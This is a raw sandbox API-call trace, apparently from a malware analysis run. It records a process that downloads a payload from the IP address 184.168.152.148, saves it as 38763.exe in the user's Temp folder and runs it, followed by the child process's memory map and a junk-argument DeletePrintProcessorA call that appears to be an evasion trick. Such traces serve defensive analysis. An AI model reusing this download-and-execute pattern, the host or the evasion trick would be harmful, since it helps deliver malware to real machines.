[0052.669] WSAIoctl (in: s=0x554, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x50fe8fc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x50fe8fc, lpOverlapped=0x0) returned -1
[0052.669] GetLastError () returned 0x2733
[0052.669] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x527f950, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
[0052.669] GetLastError () returned 0x2733
[0052.669] WSAEventSelect (s=0x554, hEventObject=0x558, lNetworkEvents=512) returned 0
[0052.669] GetLastError () returned 0x0
[0052.672] GetAdaptersAddresses () returned 0x6f
[0052.698] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x52ac570
[0052.698] GetLastError () returned 0x0
[0052.698] GetAdaptersAddresses () returned 0x0
[0052.720] LocalFree (hMem=0x52ac570) returned 0x0
[0052.720] GetLastError () returned 0x0
[0052.729] WSAConnect (in: s=0x540, name=0x20d9178*(sa_family=2, sin_port=0x50, sin_addr="184.168.152.148"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
[0052.904] GetLastError () returned 0x0
[0052.906] closesocket (s=0x53c) returned 0
[0052.906] GetLastError () returned 0x0
[0052.912] send (in: s=0x540, buf=0x20daa54*, len=82, flags=0 | out: buf=0x20daa54*) returned 82
[0052.912] GetLastError () returned 0x0
[0052.918] setsockopt (s=0x540, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0
[0052.918] GetLastError () returned 0x0
[0052.918] recv (in: s=0x540, buf=0x20d6318, len=4096, flags=0 | out: buf=0x20d6318*) returned 4096
[0053.335] GetLastError () returned 0x0
[0053.338] setsockopt (s=0x540, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0
[0053.338] GetLastError () returned 0x0
[0053.338] recv (in: s=0x540, buf=0x20dca80, len=65536, flags=0 | out: buf=0x20dca80*) returned 3164
[0053.338] GetLastError () returned 0x0
[0053.338] WriteFile (in: hFile=0x418, lpBuffer=0x20ecb34*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x50febe0, lpOverlapped=0x0 | out: lpBuffer=0x20ecb34*, lpNumberOfBytesWritten=0x50febe0*=0x1000, lpOverlapped=0x0) returned 1
[0053.340] GetLastError () returned 0x0
[0053.340] recv (in: s=0x540, buf=0x20dca80, len=65536, flags=0 | out: buf=0x20dca80*) returned 59532
[0053.879] GetLastError () returned 0x0
[0053.879] WriteFile (in: hFile=0x418, lpBuffer=0x20ecb34*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x50febe0, lpOverlapped=0x0 | out: lpBuffer=0x20ecb34*, lpNumberOfBytesWritten=0x50febe0*=0x1000, lpOverlapped=0x0) returned 1
[0053.881] GetLastError () returned 0x0
[0053.881] WriteFile (in: hFile=0x418, lpBuffer=0x20dcf81*, nNumberOfBytesToWrite=0xe38b, lpNumberOfBytesWritten=0x50febe0, lpOverlapped=0x0 | out: lpBuffer=0x20dcf81*, lpNumberOfBytesWritten=0x50febe0*=0xe38b, lpOverlapped=0x0) returned 1
[0053.882] GetLastError () returned 0x0
[0053.882] recv (in: s=0x540, buf=0x20dca80, len=19573, flags=0 | out: buf=0x20dca80*) returned 8712
[0053.883] GetLastError () returned 0x0
[0053.883] WriteFile (in: hFile=0x418, lpBuffer=0x20dca80*, nNumberOfBytesToWrite=0x2208, lpNumberOfBytesWritten=0x50febe0, lpOverlapped=0x0 | out: lpBuffer=0x20dca80*, lpNumberOfBytesWritten=0x50febe0*=0x2208, lpOverlapped=0x0) returned 1
[0053.883] GetLastError () returned 0x0
[0053.883] recv (in: s=0x540, buf=0x20dca80, len=10861, flags=0 | out: buf=0x20dca80*) returned 3752
[0054.046] GetLastError () returned 0x0
[0054.046] recv (in: s=0x540, buf=0x20dca80, len=7109, flags=0 | out: buf=0x20dca80*) returned 604
[0054.046] GetLastError () returned 0x0
[0054.046] WriteFile (in: hFile=0x418, lpBuffer=0x20ecb34*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x50febe0, lpOverlapped=0x0 | out: lpBuffer=0x20ecb34*, lpNumberOfBytesWritten=0x50febe0*=0x1000, lpOverlapped=0x0) returned 1
[0054.046] GetLastError () returned 0x0
[0054.046] recv (in: s=0x540, buf=0x20dca80, len=6505, flags=0 | out: buf=0x20dca80*) returned 6505
[0054.230] GetLastError () returned 0x0
[0054.231] SetEvent (hEvent=0x41c) returned 1
[0054.231] GetLastError () returned 0x0
[0054.231] WriteFile (in: hFile=0x418, lpBuffer=0x20ecb34*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x50febe0, lpOverlapped=0x0 | out: lpBuffer=0x20ecb34*, lpNumberOfBytesWritten=0x50febe0*=0x1000, lpOverlapped=0x0) returned 1
[0054.231] GetLastError () returned 0x0
[0054.232] WriteFile (in: hFile=0x418, lpBuffer=0x20ecb34*, nNumberOfBytesToWrite=0xa6d, lpNumberOfBytesWritten=0x50febb4, lpOverlapped=0x0 | out: lpBuffer=0x20ecb34*, lpNumberOfBytesWritten=0x50febb4*=0xa6d, lpOverlapped=0x0) returned 1
[0054.232] GetLastError () returned 0x0
[0054.232] CloseHandle (hObject=0x418) returned 1
[0054.234] GetLastError () returned 0x0
[0054.245] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x527f950, nSize=0x80 | out: lpBuffer="") returned 0x0
[0054.245] GetLastError () returned 0xcb
[0054.259] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x527f950, nSize=0x80 | out: lpBuffer="") returned 0x0
[0054.259] GetLastError () returned 0xcb
[0054.323] GetLongPathNameW (in: lpszShortPath="C:\\Users\\ATVEYD~1\\", lpszLongPath=0x50fe590, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\ATVeyDl98Z\\") returned 0x14
[0054.323] GetLastError () returned 0xcb
[0054.324] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", nBufferLength=0x105, lpBuffer=0x50fe5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", lpFilePart=0x0) returned 0x30
[0054.324] GetLastError () returned 0xcb
[0054.324] SetErrorMode (uMode=0x1) returned 0x1
[0054.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\temp\\38763.exe"), fInfoLevelId=0x0, lpFileInformation=0x2116dd4 | out: lpFileInformation=0x2116dd4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad153df0, ftCreationTime.dwHighDateTime=0x1d32268, ftLastAccessTime.dwLowDateTime=0xad153df0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xb1e18370, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x15000)) returned 1
[0054.324] GetLastError () returned 0xcb
[0054.324] SetErrorMode (uMode=0x1) returned 0x1
[0054.325] GetLongPathNameW (in: lpszShortPath="C:\\Users\\ATVEYD~1\\", lpszLongPath=0x50fe878, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\ATVeyDl98Z\\") returned 0x14
[0054.325] GetLastError () returned 0xcb
[0054.325] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", nBufferLength=0x105, lpBuffer=0x50fe8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", lpFilePart=0x0) returned 0x30
[0054.325] GetLastError () returned 0xcb
[0054.325] SetErrorMode (uMode=0x1) returned 0x1
[0054.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\temp\\38763.exe"), fInfoLevelId=0x0, lpFileInformation=0x50fed20 | out: lpFileInformation=0x50fed20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad153df0, ftCreationTime.dwHighDateTime=0x1d32268, ftLastAccessTime.dwLowDateTime=0xad153df0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xb1e18370, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x15000)) returned 1
[0054.325] GetLastError () returned 0xcb
[0054.325] SetErrorMode (uMode=0x1) returned 0x1
[0054.326] GetLongPathNameW (in: lpszShortPath="C:\\Users\\ATVEYD~1\\", lpszLongPath=0x50fe840, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\ATVeyDl98Z\\") returned 0x14
[0054.326] GetLastError () returned 0xcb
[0054.326] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", nBufferLength=0x105, lpBuffer=0x50fe868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe", lpFilePart=0x0) returned 0x30
[0054.326] GetLastError () returned 0xcb
[0054.326] SetErrorMode (uMode=0x1) returned 0x1
[0054.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\temp\\38763.exe"), fInfoLevelId=0x0, lpFileInformation=0x50fece8 | out: lpFileInformation=0x50fece8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad153df0, ftCreationTime.dwHighDateTime=0x1d32268, ftLastAccessTime.dwLowDateTime=0xad153df0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xb1e18370, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x15000)) returned 1
[0054.327] GetLastError () returned 0xcb
[0054.327] SetErrorMode (uMode=0x1) returned 0x1
[0054.401] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x527f950, nSize=0x80 | out: lpBuffer="") returned 0x0
[0054.401] GetLastError () returned 0xcb
[0054.402] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x527f950, nSize=0x80 | out: lpBuffer="") returned 0x0
[0054.402] GetLastError () returned 0xcb
[0054.404] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x50fe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0054.404] GetLastError () returned 0xcb
[0054.404] SetErrorMode (uMode=0x1) returned 0x1
[0054.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x211d690 | out: lpFileInformation=0x211d690*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0054.404] GetLastError () returned 0xcb
[0054.404] SetErrorMode (uMode=0x1) returned 0x1
[0054.404] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x50fe624, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0054.404] GetLastError () returned 0xcb
[0054.404] SetErrorMode (uMode=0x1) returned 0x1
[0054.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x211d830 | out: lpFileInformation=0x211d830*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0054.404] GetLastError () returned 0xcb
[0054.404] SetErrorMode (uMode=0x1) returned 0x1
[0054.406] LocalAlloc (uFlags=0x0, uBytes=0x5e) returned 0x2fd230
[0054.407] RtlMoveMemory (in: Destination=0x2fd230, Source=0x2118648, Length=0x5e | out: Destination=0x2fd230)
[0054.407] LocalAlloc (uFlags=0x0, uBytes=0x38) returned 0x52736c0
[0054.408] RtlMoveMemory (in: Destination=0x52736c0, Source=0x211e9f8, Length=0x38 | out: Destination=0x52736c0)
[0054.512] LocalFree (hMem=0x2fd230) returned 0x0
[0054.512] GetLastError () returned 0x0
[0054.512] LocalFree (hMem=0x52736c0) returned 0x0
[0054.512] GetLastError () returned 0x0
[0054.514] NtQueryInformationProcess (in: ProcessHandle=0x5e0, ProcessInformationClass=0x0, ProcessInformation=0x211efcc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x211efcc, ReturnLength=0x0) returned 0x0
[0054.515] EnumProcesses (in: lpidProcess=0x211eff0, cb=0x400, lpcbNeeded=0x50fee3c | out: lpidProcess=0x211eff0, lpcbNeeded=0x50fee3c) returned 1
[0054.517] GetLastError () returned 0x0
[0054.786] SetEvent (hEvent=0x394) returned 1
[0054.786] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x38c) returned 1
[0054.787] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x3a8) returned 1
[0054.787] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x374) returned 1
[0054.787] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x324) returned 1
[0054.787] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x398) returned 1
[0054.787] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x300) returned 1
[0054.787] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x304) returned 1
[0054.787] GetLastError () returned 0x0
[0054.787] SetEvent (hEvent=0x334) returned 1
[0054.790] GetLastError () returned 0x0
[0054.792] CoUninitialize ()
Thread:
id = 31
os_tid = 0xb20
Thread:
id = 32
os_tid = 0xb24
Thread:
id = 33
os_tid = 0xb28
Thread:
id = 34
os_tid = 0xb30
Thread:
id = 35
os_tid = 0xb34
[0046.561] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0046.563] ResetEvent (hEvent=0x41c) returned 1
[0046.563] GetLastError () returned 0x0
Thread:
id = 36
os_tid = 0xb5c
[0054.411] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
[0054.419] ShellExecuteExW (in: pExecInfo=0x211ee08*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpParameters=0x0, lpDirectory="C:\\Users\\ATVeyDl98Z\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x211ee08*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpParameters=0x0, lpDirectory="C:\\Users\\ATVeyDl98Z\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x5e0)) returned 1
[0054.478] GetLastError () returned 0x0
[0054.478] CoGetContextToken (in: pToken=0x54cf988 | out: pToken=0x54cf988) returned 0x0
[0054.478] CoUninitialize ()
Thread:
id = 39
os_tid = 0xb6c
[0054.863] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0054.887] SetThreadUILanguage (LangId=0x0) returned 0x409
[0054.888] VirtualQuery (in: lpAddress=0x5f3e0c0, lpBuffer=0x5f3f0c0, dwLength=0x1c | out: lpBuffer=0x5f3f0c0*(BaseAddress=0x5f3e000, AllocationBase=0x55b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0054.888] VirtualQuery (in: lpAddress=0x5f3e1dc, lpBuffer=0x5f3f1dc, dwLength=0x1c | out: lpBuffer=0x5f3f1dc*(BaseAddress=0x5f3e000, AllocationBase=0x55b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0054.890] SetEvent (hEvent=0x574) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x568) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x598) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x574) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x568) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x5ec) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x584) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x5d0) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x5e8) returned 1
[0054.890] GetLastError () returned 0x0
[0054.890] SetEvent (hEvent=0x5f0) returned 1
[0054.890] GetLastError () returned 0x0
[0054.891] CoUninitialize ()
Process:
id = "3"
image_name = "38763.exe"
filename = "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe"
page_root = "0x7f13e360"
os_pid = "0xb60"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "2"
os_parent_pid = "0xad4"
cmd_line = "\"C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe\" "
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 750
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 751
start_va = 0x30000
end_va = 0x12ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 752
start_va = 0x130000
end_va = 0x133fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 753
start_va = 0x400000
end_va = 0x415fff
entry_point = 0x400000
region_type = mapped_file
name = "38763.exe"
filename = "\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")
Region:
id = 754
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 755
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 756
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 757
start_va = 0x7ffdc000
end_va = 0x7ffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdc000"
filename = ""
Region:
id = 758
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 759
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 760
start_va = 0x20000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 761
start_va = 0x140000
end_va = 0x1a6fff
entry_point = 0x140000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 762
start_va = 0x1b0000
end_va = 0x277fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001b0000"
filename = ""
Region:
id = 763
start_va = 0x290000
end_va = 0x38ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000290000"
filename = ""
Region:
id = 764
start_va = 0x6d400000
end_va = 0x6d450fff
entry_point = 0x6d42988c
region_type = mapped_file
name = "winspool.drv"
filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")
Region:
id = 765
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 766
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 767
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 768
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 769
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 770
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 771
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 772
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 773
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 774
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 775
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 776
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 777
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 778
start_va = 0x280000
end_va = 0x280fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000280000"
filename = ""
Region:
id = 779
start_va = 0x390000
end_va = 0x390fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000390000"
filename = ""
Region:
id = 780
start_va = 0x420000
end_va = 0x520fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000420000"
filename = ""
Region:
id = 781
start_va = 0x530000
end_va = 0x112ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000530000"
filename = ""
Region:
id = 782
start_va = 0x11c0000
end_va = 0x11cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000011c0000"
filename = ""
Region:
id = 783
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 784
start_va = 0x11d0000
end_va = 0x12cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000011d0000"
filename = ""
Region:
id = 785
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 786
start_va = 0x3a0000
end_va = 0x3adfff
entry_point = 0x0
region_type = private
name = "private_0x00000000003a0000"
filename = ""
Region:
id = 787
start_va = 0x3b0000
end_va = 0x3bcfff
entry_point = 0x0
region_type = private
name = "private_0x00000000003b0000"
filename = ""
Region:
id = 788
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 789
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 790
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f6013b4
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 791
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b1452
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 792
start_va = 0x75ce0000
end_va = 0x75e15fff
entry_point = 0x75ce1b35
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 793
start_va = 0x771e0000
end_va = 0x772d4fff
entry_point = 0x771e1865
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 794
start_va = 0x75e30000
end_va = 0x7602afff
entry_point = 0x75e322d9
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 795
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 796
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 798
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 799
start_va = 0x12d0000
end_va = 0x159efff
entry_point = 0x12d0000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 800
start_va = 0x3c0000
end_va = 0x3ccfff
entry_point = 0x0
region_type = private
name = "private_0x00000000003c0000"
filename = ""
Thread:
id = 37
os_tid = 0xb64
[0054.553] GetCommandLineA () returned="\"C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe\" "
[0054.553] lstrlenA (lpString="\"C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe\" ") returned 49
[0054.553] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
